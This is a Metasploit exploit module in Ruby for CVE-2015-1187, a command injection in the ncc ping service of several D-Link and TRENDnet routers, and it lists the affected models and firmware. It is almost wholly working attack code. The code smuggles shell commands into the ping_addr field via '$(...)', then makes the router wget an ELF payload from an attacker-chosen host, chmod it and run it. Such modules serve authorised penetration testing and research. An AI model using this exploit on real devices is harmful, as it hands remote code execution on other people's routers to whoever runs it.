D-Link/TRENDnet – NCC Service Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # Only tested on Emulated environment include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link/TRENDnet NCC Service Command Injection', 'Description' => %q{ This module exploits a remote command injection vulnerability on several routers. The vulnerability exists in the ncc service, while handling ping commands. This module has been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A) v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2) v2.01b01 }, 'Author' => [ 'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC 'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-1187'], ['BID', '72816'], ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'], ['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'], ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052'] ], 'Targets' => # Only tested on D-Link DIR-626L where wget is available [ [ 'Linux mipsel Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ], ], 'DisclosureDate' => 'Feb 26 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]), OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10]) ], self.class) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) # unknown if other devices also using mini_httpd if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exec_command(cmd, timeout = 20) begin res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'encode_params' => false, 'vars_post' => { 'ccp_act' => 'ping_v6', 'ping_addr' => '$(' + cmd + ')' } }, timeout) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def primer @payload_url = get_uri wget_payload end def exploit print_status("Accessing the vulnerable URL...") unless check == Exploit::CheckCode::Detected fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") end print_status("Exploiting...") @pl = generate_payload_exe @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) if datastore['EXTURL'].blank? begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end chmod_payload exec_payload else @payload_url = datastore['EXTURL'] wget_payload chmod_payload exec_payload end end def wget_payload upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf) cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}" print_status("Downloading the payload to the target machine...") res = exec_command(cmd) if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/ register_files_for_cleanup(upload_path) else fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target") end end def chmod_payload cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" print_status("chmod the payload...") res = exec_command(cmd, 1) unless res fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") end Rex.sleep(1) end def exec_payload cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf) print_status("Executing the payload...") res = exec_command(cmd, 1) unless res fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") end Rex.sleep(1) end # Handle incoming requests to the HTTP server def on_request_uri(cli, request) print_status("Request: #{request.uri}") if request.uri =~ /#{Regexp.escape(get_resource)}/ print_status('Sending payload...') send_response(cli, @pl) end end end |